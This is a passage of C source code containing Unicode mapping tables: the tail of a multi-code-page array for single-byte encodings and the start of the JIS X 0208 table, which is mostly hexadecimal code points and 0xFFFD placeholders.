{ 0x0179, 0x0134, 0x0166, 0x040C, 0x060C, 0x00AC, 0x00AC, 0x00AC, 0x0E0C },
{ 0x00AD, 0x00AD, 0x00AD, 0x00AD, 0x00AD, 0x00AD, 0x00AD, 0x00AD, 0x0E0D },
{ 0x017D, 0xFFFD, 0x017D, 0x040E, 0xFFFD, 0xFFFD, 0x00AE, 0x00AE, 0x0E0E },
{ 0x017B, 0x017B, 0x00AF, 0x040F, 0xFFFD, 0x2015, 0x00AF, 0x00AF, 0x0E0F },
{ 0x00B0, 0x00B0, 0x00B0, 0x0410, 0xFFFD, 0x00B0, 0x00B0, 0x00B0, 0x0E10 },
{ 0x0105, 0x0127, 0x0105, 0x0411, 0xFFFD, 0x00B1, 0x00B1, 0x00B1, 0x0E11 },
{ 0x02DB, 0x00B2, 0x02DB, 0x0412, 0xFFFD, 0x00B2, 0x00B2, 0x00B2, 0x0E12 },
{ 0x0142, 0x00B3, 0x0157, 0x0413, 0xFFFD, 0x00B3, 0x00B3, 0x00B3, 0x0E13 },
{ 0x00B4, 0x00B4, 0x00B4, 0x0414, 0xFFFD, 0x0384, 0x00B4, 0x00B4, 0x0E14 },
{ 0x013E, 0x00B5, 0x0129, 0x0415, 0xFFFD, 0x0385, 0x00B5, 0x00B5, 0x0E15 },
{ 0x015B, 0x0125, 0x013C, 0x0416, 0xFFFD, 0x0386, 0x00B6, 0x00B6, 0x0E16 },
{ 0x02C7, 0x00B7, 0x02C7, 0x0417, 0xFFFD, 0x00B7, 0x00B7, 0x00B7, 0x0E17 },
{ 0x00B8, 0x00B8, 0x00B8, 0x0418, 0xFFFD, 0x0388, 0x00B8, 0x00B8, 0x0E18 },
{ 0x0161, 0x0131, 0x0161, 0x0419, 0xFFFD, 0x0389, 0x00B9, 0x00B9, 0x0E19 },
{ 0x015F, 0x015F, 0x0113, 0x041A, 0xFFFD, 0x038A, 0x00F7, 0x00BA, 0x0E1A },
{ 0x0165, 0x011F, 0x0123, 0x041B, 0x061B, 0x00BB, 0x00BB, 0x00BB, 0x0E1B },
{ 0x017A, 0x0135, 0x0167, 0x041C, 0xFFFD, 0x038C, 0x00BC, 0x00BC, 0x0E1C },
{ 0x02DD, 0x00BD, 0x014A, 0x041D, 0xFFFD, 0x00BD, 0x00BD, 0x00BD, 0x0E1D },
{ 0x017E, 0xFFFD, 0x017E, 0x041E, 0xFFFD, 0x038E, 0x00BE, 0x00BE, 0x0E1E },
{ 0x017C, 0x017C, 0x014B, 0x041F, 0x061F, 0x038F, 0xFFFD, 0x00BF, 0x0E1F },
{ 0x0154, 0x00C0, 0x0100, 0x0420, 0xFFFD, 0x0390, 0xFFFD, 0x00C0, 0x0E20 },
{ 0x00C1, 0x00C1, 0x00C1, 0x0421, 0x0621, 0x0391, 0xFFFD, 0x00C1, 0x0E21 },
{ 0x00C2, 0x00C2, 0x00C2, 0x0422, 0x0622, 0x0392, 0xFFFD, 0x00C2, 0x0E22 },
{ 0x0102, 0xFFFD, 0x00C3, 0x0423, 0x0623, 0x0393, 0xFFFD, 0x00C3, 0x0E23 },
{ 0x00C4, 0x00C4, 0x00C4, 0x0424, 0x0624, 0x0394, 0xFFFD, 0x00C4, 0x0E24 },
{ 0x0139, 0x010A, 0x00C5, 0x0425, 0x0625, 0x0395, 0xFFFD, 0x00C5, 0x0E25 },
{ 0x0106, 0x0108, 0x00C6, 0x0426, 0x0626, 0x0396, 0xFFFD, 0x00C6, 0x0E26 },
{ 0x00C7, 0x00C7, 0x012E, 0x0427, 0x0627, 0x0397, 0xFFFD, 0x00C7, 0x0E27 },
{ 0x010C, 0x00C8, 0x010C, 0x0428, 0x0628, 0x0398, 0xFFFD, 0x00C8, 0x0E28 },
{ 0x00C9, 0x00C9, 0x00C9, 0x0429, 0x0629, 0x0399, 0xFFFD, 0x00C9, 0x0E29 },
{ 0x0118, 0x00CA, 0x0118, 0x042A, 0x062A, 0x039A, 0xFFFD, 0x00CA, 0x0E2A },
{ 0x00CB, 0x00CB, 0x00CB, 0x042B, 0x062B, 0x039B, 0xFFFD, 0x00CB, 0x0E2B },
{ 0x011A, 0x00CC, 0x0116, 0x042C, 0x062C, 0x039C, 0xFFFD, 0x00CC, 0x0E2C },
{ 0x00CD, 0x00CD, 0x00CD, 0x042D, 0x062D, 0x039D, 0xFFFD, 0x00CD, 0x0E2D },
{ 0x00CE, 0x00CE, 0x00CE, 0x042E, 0x062E, 0x039E, 0xFFFD, 0x00CE, 0x0E2E },
{ 0x010E, 0x00CF, 0x012A, 0x042F, 0x062F, 0x039F, 0xFFFD, 0x00CF, 0x0E2F },
{ 0x0110, 0xFFFD, 0x0110, 0x0430, 0x0630, 0x03A0, 0xFFFD, 0x011E, 0x0E30 },
{ 0x0143, 0x00D1, 0x0145, 0x0431, 0x0631, 0x03A1, 0xFFFD, 0x00D1, 0x0E31 },
{ 0x0147, 0x00D2, 0x014C, 0x0432, 0x0632, 0xFFFD, 0xFFFD, 0x00D2, 0x0E32 },
{ 0x00D3, 0x00D3, 0x0136, 0x0433, 0x0633, 0x03A3, 0xFFFD, 0x00D3, 0x0E33 },
{ 0x00D4, 0x00D4, 0x00D4, 0x0434, 0x0634, 0x03A4, 0xFFFD, 0x00D4, 0x0E34 },
{ 0x0150, 0x0120, 0x00D5, 0x0435, 0x0635, 0x03A5, 0xFFFD, 0x00D5, 0x0E35 },
{ 0x00D6, 0x00D6, 0x00D6, 0x0436, 0x0636, 0x03A6, 0xFFFD, 0x00D6, 0x0E36 },
{ 0x00D7, 0x00D7, 0x00D7, 0x0437, 0x0637, 0x03A7, 0xFFFD, 0x00D7, 0x0E37 },
{ 0x0158, 0x011C, 0x00D8, 0x0438, 0x0638, 0x03A8, 0xFFFD, 0x00D8, 0x0E38 },
{ 0x016E, 0x00D9, 0x0172, 0x0439, 0x0639, 0x03A9, 0xFFFD, 0x00D9, 0x0E39 },
{ 0x00DA, 0x00DA, 0x00DA, 0x043A, 0x063A, 0x03AA, 0xFFFD, 0x00DA, 0x0E3A },
{ 0x0170, 0x00DB, 0x00DB, 0x043B, 0xFFFD, 0x03AB, 0xFFFD, 0x00DB, 0xFFFD },
{ 0x00DC, 0x00DC, 0x00DC, 0x043C, 0xFFFD, 0x03AC, 0xFFFD, 0x00DC, 0xFFFD },
{ 0x00DD, 0x016C, 0x0168, 0x043D, 0xFFFD, 0x03AD, 0xFFFD, 0x0130, 0xFFFD },
{ 0x0162, 0x015C, 0x016A, 0x043E, 0xFFFD, 0x03AE, 0xFFFD, 0x015E, 0xFFFD },
{ 0x00DF, 0x00DF, 0x00DF, 0x043F, 0xFFFD, 0x03AF, 0x2017, 0x00DF, 0x0E3F },
{ 0x0155, 0x00E0, 0x0101, 0x0440, 0x0640, 0x03B0, 0x05D0, 0x00E0, 0x0E40 },
{ 0x00E1, 0x00E1, 0x00E1, 0x0441, 0x0641, 0x03B1, 0x05D1, 0x00E1, 0x0E41 },
{ 0x00E2, 0x00E2, 0x00E2, 0x0442, 0x0642, 0x03B2, 0x05D2, 0x00E2, 0x0E42 },
{ 0x0103, 0xFFFD, 0x00E3, 0x0443, 0x0643, 0x03B3, 0x05D3, 0x00E3, 0x0E43 },
{ 0x00E4, 0x00E4, 0x00E4, 0x0444, 0x0644, 0x03B4, 0x05D4, 0x00E4, 0x0E44 },
{ 0x013A, 0x010B, 0x00E5, 0x0445, 0x0645, 0x03B5, 0x05D5, 0x00E5, 0x0E45 },
{ 0x0107, 0x0109, 0x00E6, 0x0446, 0x0646, 0x03B6, 0x05D6, 0x00E6, 0x0E46 },
{ 0x00E7, 0x00E7, 0x012F, 0x0447, 0x0647, 0x03B7, 0x05D7, 0x00E7, 0x0E47 },
{ 0x010D, 0x00E8, 0x010D, 0x0448, 0x0648, 0x03B8, 0x05D8, 0x00E8, 0x0E48 },
{ 0x00E9, 0x00E9, 0x00E9, 0x0449, 0x0649, 0x03B9, 0x05D9, 0x00E9, 0x0E49 },
{ 0x0119, 0x00EA, 0x0119, 0x044A, 0x064A, 0x03BA, 0x05DA, 0x00EA, 0x0E4A },
{ 0x00EB, 0x00EB, 0x00EB, 0x044B, 0x064B, 0x03BB, 0x05DB, 0x00EB, 0x0E4B },
{ 0x011B, 0x00EC, 0x0117, 0x044C, 0x064C, 0x03BC, 0x05DC, 0x00EC, 0x0E4C },
{ 0x00ED, 0x00ED, 0x00ED, 0x044D, 0x064D, 0x03BD, 0x05DD, 0x00ED, 0x0E4D },
{ 0x00EE, 0x00EE, 0x00EE, 0x044E, 0x064E, 0x03BE, 0x05DE, 0x00EE, 0x0E4E },
{ 0x010F, 0x00EF, 0x012B, 0x044F, 0x064F, 0x03BF, 0x05DF, 0x00EF, 0x0E4F },
{ 0x0111, 0xFFFD, 0x0111, 0x2116, 0x0650, 0x03C0, 0x05E0, 0x011F, 0x0E50 },
{ 0x0144, 0x00F1, 0x0146, 0x0451, 0x0651, 0x03C1, 0x05E1, 0x00F1, 0x0E51 },
{ 0x0148, 0x00F2, 0x014D, 0x0452, 0x0652, 0x03C2, 0x05E2, 0x00F2, 0x0E52 },
{ 0x00F3, 0x00F3, 0x0137, 0x0453, 0xFFFD, 0x03C3, 0x05E3, 0x00F3, 0x0E53 },
{ 0x00F4, 0x00F4, 0x00F4, 0x0454, 0xFFFD, 0x03C4, 0x05E4, 0x00F4, 0x0E54 },
{ 0x0151, 0x0121, 0x00F5, 0x0455, 0xFFFD, 0x03C5, 0x05E5, 0x00F5, 0x0E55 },
{ 0x00F6, 0x00F6, 0x00F6, 0x0456, 0xFFFD, 0x03C6, 0x05E6, 0x00F6, 0x0E56 },
{ 0x00F7, 0x00F7, 0x00F7, 0x0457, 0xFFFD, 0x03C7, 0x05E7, 0x00F7, 0x0E57 },
{ 0x0159, 0x011D, 0x00F8, 0x0458, 0xFFFD, 0x03C8, 0x05E8, 0x00F8, 0x0E58 },
{ 0x016F, 0x00F9, 0x0173, 0x0459, 0xFFFD, 0x03C9, 0x05E9, 0x00F9, 0x0E59 },
{ 0x00FA, 0x00FA, 0x00FA, 0x045A, 0xFFFD, 0x03CA, 0x05EA, 0x00FA, 0x0E5A },
{ 0x0171, 0x00FB, 0x00FB, 0x045B, 0xFFFD, 0x03CB, 0xFFFD, 0x00FB, 0x0E5B },
{ 0x00FC, 0x00FC, 0x00FC, 0x045C, 0xFFFD, 0x03CC, 0xFFFD, 0x00FC, 0xFFFD },
{ 0x00FD, 0x016D, 0x0169, 0x00A7, 0xFFFD, 0x03CD, 0x200E, 0x0131, 0xFFFD },
{ 0x0163, 0x015D, 0x016B, 0x045E, 0xFFFD, 0x03CE, 0x200F, 0x015F, 0xFFFD },
{ 0x02D9, 0x02D9, 0x02D9, 0x045F, 0xFFFD, 0xFFFD, 0xFFFD, 0x00FF, 0xFFFD }
};
// Code page for JIS X 0208 from JIS0208.TXT, except that backslash has
// been replaced by "fullwidth reverse solidus" U+FF3C (Unicode 1.1).
const unsigned short CodePageJISX0208[8836] = {
0x3000, 0x3001, 0x3002, 0xFF0C, 0xFF0E, 0x30FB, 0xFF1A, 0xFF1B, 0xFF1F,
0xFF01, 0x309B, 0x309C, 0x00B4, 0xFF40, 0x00A8, 0xFF3E, 0xFFE3, 0xFF3F,
0x30FD, 0x30FE, 0x309D, 0x309E, 0x3003, 0x4EDD, 0x3005, 0x3006, 0x3007,
0x30FC, 0x2015, 0x2010, 0xFF0F, 0xFF3C, 0x301C, 0x2016, 0xFF5C, 0x2026,
0x2025, 0x2018, 0x2019, 0x201C, 0x201D, 0xFF08, 0xFF09, 0x3014, 0x3015,
0xFF3B, 0xFF3D, 0xFF5B, 0xFF5D, 0x3008, 0x3009, 0x300A, 0x300B, 0x300C,
0x300D, 0x300E, 0x300F, 0x3010, 0x3011, 0xFF0B, 0x2212, 0x00B1, 0x00D7,
0x00F7, 0xFF1D, 0x2260, 0xFF1C, 0xFF1E, 0x2266, 0x2267, 0x221E, 0x2234,
0x2642, 0x2640, 0x00B0, 0x2032, 0x2033, 0x2103, 0xFFE5, 0xFF04, 0x00A2,
0x00A3, 0xFF05, 0xFF03, 0xFF06, 0xFF0A, 0xFF20, 0x00A7, 0x2606, 0x2605,
0x25CB, 0x25CF, 0x25CE, 0x25C7, 0x25C6, 0x25A1, 0x25A0, 0x25B3, 0x25B2,
0x25BD, 0x25BC, 0x203B, 0x3012, 0x2192, 0x2190, 0x2191, 0x2193, 0x3013,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0x2208, 0x220B, 0x2286, 0x2287, 0x2282, 0x2283, 0x222A,
0x2229, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0x2227, 0x2228, 0x00AC, 0x21D2, 0x21D4, 0x2200, 0x2203, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0x2220, 0x22A5, 0x2312, 0x2202, 0x2207, 0x2261, 0x2252, 0x226A, 0x226B,
0x221A, 0x223D, 0x221D, 0x2235, 0x222B, 0x222C, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0x212B, 0x2030, 0x266F, 0x266D, 0x266A,
0x2020, 0x2021, 0x00B6, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0x25EF, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFF10, 0xFF11, 0xFF12, 0xFF13,
0xFF14, 0xFF15, 0xFF16, 0xFF17, 0xFF18, 0xFF19, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFF21, 0xFF22, 0xFF23, 0xFF24, 0xFF25,
0xFF26, 0xFF27, 0xFF28, 0xFF29, 0xFF2A, 0xFF2B, 0xFF2C, 0xFF2D, 0xFF2E,
0xFF2F, 0xFF30, 0xFF31, 0xFF32, 0xFF33, 0xFF34, 0xFF35, 0xFF36, 0xFF37,
0xFF38, 0xFF39, 0xFF3A, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFF41, 0xFF42, 0xFF43, 0xFF44, 0xFF45, 0xFF46, 0xFF47, 0xFF48, 0xFF49,
0xFF4A, 0xFF4B, 0xFF4C, 0xFF4D, 0xFF4E, 0xFF4F, 0xFF50, 0xFF51, 0xFF52,
0xFF53, 0xFF54, 0xFF55, 0xFF56, 0xFF57, 0xFF58, 0xFF59, 0xFF5A, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0x3041, 0x3042, 0x3043, 0x3044, 0x3045, 0x3046,
0x3047, 0x3048, 0x3049, 0x304A, 0x304B, 0x304C, 0x304D, 0x304E, 0x304F,
0x3050, 0x3051, 0x3052, 0x3053, 0x3054, 0x3055, 0x3056, 0x3057, 0x3058,
0x3059, 0x305A, 0x305B, 0x305C, 0x305D, 0x305E, 0x305F, 0x3060, 0x3061,
0x3062, 0x3063, 0x3064, 0x3065, 0x3066, 0x3067, 0x3068, 0x3069, 0x306A,
0x306B, 0x306C, 0x306D, 0x306E, 0x306F, 0x3070, 0x3071, 0x3072, 0x3073,
0x3074, 0x3075, 0x3076, 0x3077, 0x3078, 0x3079, 0x307A, 0x307B, 0x307C,
0x307D, 0x307E, 0x307F, 0x3080, 0x3081, 0x3082, 0x3083, 0x3084, 0x3085,
0x3086, 0x3087, 0x3088, 0x3089, 0x308A, 0x308B, 0x308C, 0x308D, 0x308E,
0x308F, 0x3090, 0x3091, 0x3092, 0x3093, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0x30A1, 0x30A2,
0x30A3, 0x30A4, 0x30A5, 0x30A6, 0x30A7, 0x30A8, 0x30A9, 0x30AA, 0x30AB,
0x30AC, 0x30AD, 0x30AE, 0x30AF, 0x30B0, 0x30B1, 0x30B2, 0x30B3, 0x30B4,
0x30B5, 0x30B6, 0x30B7, 0x30B8, 0x30B9, 0x30BA, 0x30BB, 0x30BC, 0x30BD,
0x30BE, 0x30BF, 0x30C0, 0x30C1, 0x30C2, 0x30C3, 0x30C4, 0x30C5, 0x30C6,
0x30C7, 0x30C8, 0x30C9, 0x30CA, 0x30CB, 0x30CC, 0x30CD, 0x30CE, 0x30CF,
0x30D0, 0x30D1, 0x30D2, 0x30D3, 0x30D4, 0x30D5, 0x30D6, 0x30D7, 0x30D8,
0x30D9, 0x30DA, 0x30DB, 0x30DC, 0x30DD, 0x30DE, 0x30DF, 0x30E0, 0x30E1,
0x30E2, 0x30E3, 0x30E4, 0x30E5, 0x30E6, 0x30E7, 0x30E8, 0x30E9, 0x30EA,
0x30EB, 0x30EC, 0x30ED, 0x30EE, 0x30EF, 0x30F0, 0x30F1, 0x30F2, 0x30F3,
0x30F4, 0x30F5, 0x30F6, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0x0391, 0x0392, 0x0393, 0x0394, 0x0395, 0x0396, 0x0397,
0x0398, 0x0399, 0x039A, 0x039B, 0x039C, 0x039D, 0x039E, 0x039F, 0x03A0,
0x03A1, 0x03A3, 0x03A4, 0x03A5, 0x03A6, 0x03A7, 0x03A8, 0x03A9, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0x03B1, 0x03B2,
0x03B3, 0x03B4, 0x03B5, 0x03B6, 0x03B7, 0x03B8, 0x03B9, 0x03BA, 0x03BB,
0x03BC, 0x03BD, 0x03BE, 0x03BF, 0x03C0, 0x03C1, 0x03C3, 0x03C4, 0x03C5,
0x03C6, 0x03C7, 0x03C8, 0x03C9, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0x0410, 0x0411, 0x0412,
0x0413, 0x0414, 0x0415, 0x0401, 0x0416, 0x0417, 0x0418, 0x0419, 0x041A,
0x041B, 0x041C, 0x041D, 0x041E, 0x041F, 0x0420, 0x0421, 0x0422, 0x0423,
0x0424, 0x0425, 0x0426, 0x0427, 0x0428, 0x0429, 0x042A, 0x042B, 0x042C,
0x042D, 0x042E, 0x042F, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0x0430, 0x0431, 0x0432, 0x0433, 0x0434, 0x0435, 0x0451, 0x0436, 0x0437,
0x0438, 0x0439, 0x043A, 0x043B, 0x043C, 0x043D, 0x043E, 0x043F, 0x0440,
0x0441, 0x0442, 0x0443, 0x0444, 0x0445, 0x0446, 0x0447, 0x0448, 0x0449,
0x044A, 0x044B, 0x044C, 0x044D, 0x044E, 0x044F, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0x2500, 0x2502, 0x250C, 0x2510, 0x2518, 0x2514, 0x251C, 0x252C,
0x2524, 0x2534, 0x253C, 0x2501, 0x2503, 0x250F, 0x2513, 0x251B, 0x2517,
0x2523, 0x2533, 0x252B, 0x253B, 0x254B, 0x2520, 0x252F, 0x2528, 0x2537,
0x253F, 0x251D, 0x2530, 0x2525, 0x2538, 0x2542, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
